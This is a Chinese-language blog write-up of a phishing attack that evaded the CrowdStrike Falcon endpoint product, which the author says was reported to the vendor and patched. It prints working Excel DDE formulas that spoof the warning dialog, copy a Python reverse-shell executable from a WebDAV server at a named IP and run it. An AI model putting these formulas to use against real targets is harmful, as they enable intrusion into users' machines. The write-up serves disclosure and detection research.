Crowdstrike Falcon是新型端点安全解决方案的一部分,它会尝试通过使用机器学习和行为分析来检测和拦截异常活动(至少官方的说法是这样的)。
可以确认的是,如果靶机上安装了Falcon,那些广为人知的攻击手段(例如通过Powershell, WScript, Bitsadmin, mshta,等等)统统都不会奏效。这会让攻击者举步维艰。它可能和其他的端点安全解决方案类似,例如Carbon Black,Cylance等等。
这里我说的绕过,指的是完全绕过检测,从发布钓鱼邮件到接收用户反弹回来的shell。都是可以实际应用的,不只是写一个恶意软件然后再执行一下它而已。
既然我们不能利用经典的手段来攻击,那么不妨尝试一下使用一些新的(旧)技巧?
事实证明,过程还是挺繁琐的¯\(ツ)/¯.
攻击者:
apache2
,启用mod_webdav
模块。pyinstaller —onefile
打包成二进制文件的Python反弹shell语句。目标VM:
这次我决定用一些鲜为人知的东西,比一个简单的宏要棘手一些。我需要确保它不会被公司的email过滤器和windows defender检测到。它有可能会被Falcon检测出来,但我还是决定先试一下。
所以我用的是前段时间在Hancitor上学到一个一个技巧,它利用的是动态数据交换(DDE)功能而不是宏。
一开始我尝试通过在Word文档中插入公式(CTRL+F9)的方式写入,内容如下:
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}
不巧的是,这行公式并没有弹出记事本。搜索了一下,发现微软在2017年12月发布的一个补丁已经禁用了Word的这个功能。
所以在Word中就行不通了……那么,试一下Excel?
第二次尝试,在Excel中插入公式:
=cmd|'/c notepad.exe'!_xlbgnm.A1
成功了!
为了增加用户对其的可信度,可以修改用户警告框中显示的消息。
原始的消息会是像下面这种:
可以用EXCEL.EXE替换掉CMD.EXE,这样看起来更合适些。
=EXCEL|'\..\..\..\Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1
现在警告消息看起来就很正常了:
现在我们可以通过附件来执行代码了,假设用户会忽略警告信息,直接点击Yes。那么,我们要如何利用它来下载和执行payload呢?
为什么选择WebDAV呢?如果使用流行的、常见的方式,我毫无疑问会被检测到,我需要一个与众不同的方法。然后,我想起来了Windows可以用资源管理器连接和浏览WebDAV。你知道我要干嘛了吗?
我配置了一台简单的VPS,开启Apache服务,启用mod_webdav模块。然后把端口改到了正在用netcat监听的443端口。
制作一个反向shell很简单,我需要做的只是使用能在Windows上执行的Python反向Shell代码。在Github上或者一些渗透测试的博客里面就能找到很多。为什么选择Python呢,因为它的隐蔽性比较强。其次,我可以通过pyinstaller --onefile run.py
命令来执行生成一个可执行文件。
shell准备好之后上传到WebDAV的根目录。
现在试试能不能再目标靶机上运行:
=cmd|'/c cmd.exe /c "\\167.160.187.142\\webdav\run.exe"'!_xlbgnm.A1
没成功,为什么呢?我在CMD下运行了这条命令,然后提示我:
The specified path does not exist.
Check the path, and then try again.
payload是没问题的。还是一顿搜索后我找到了这篇文章)。我要做的就是把文件重命名为run.txt,然后把文件拷贝到了机器上(毕竟那是网络路径),然后本地运行,奏效了。
=cmd|'/c cmd.exe /c "copy \\167.160.187.142\webdav\run.txt c:\users\public\run.exe" && cmd.exe /c "c:\users\public\run.exe"'!_xlbgnm.A1
Crowdstrike Falcon使用行为分析来检测试图执行代码的恶意Office文档。比如像这样的流程执行树就会被检测到:
explorer.exe > outlook.exe > excel.exe > powershell.exe -windowstyle hidden -executionpolicy bypass -enc
是因为流程执行树有问题,还是因为powershell的参数出了问题?这点目前还不清楚。
总体流程如下:
嗯?等等?这就完事儿了?我确认了一下,Falcon服务是正在运行的。再去Falcon的仪表盘检查一下主机,看看它是否还在通信,结果是还在。然后我又试了一次,嗯,没错,又成功了。
Falcon又检测到了什么呢?
虽然这不算一个漏洞,但我写这篇文章前,还是在2018年12月21日向Crowdstrike报告了这个绕过技巧。这样就不会被攻击者滥用了(尽管有这有可能已经发生了)。
Crowdstrike确认绕过是有效的,并于2019年1月11日发布补丁。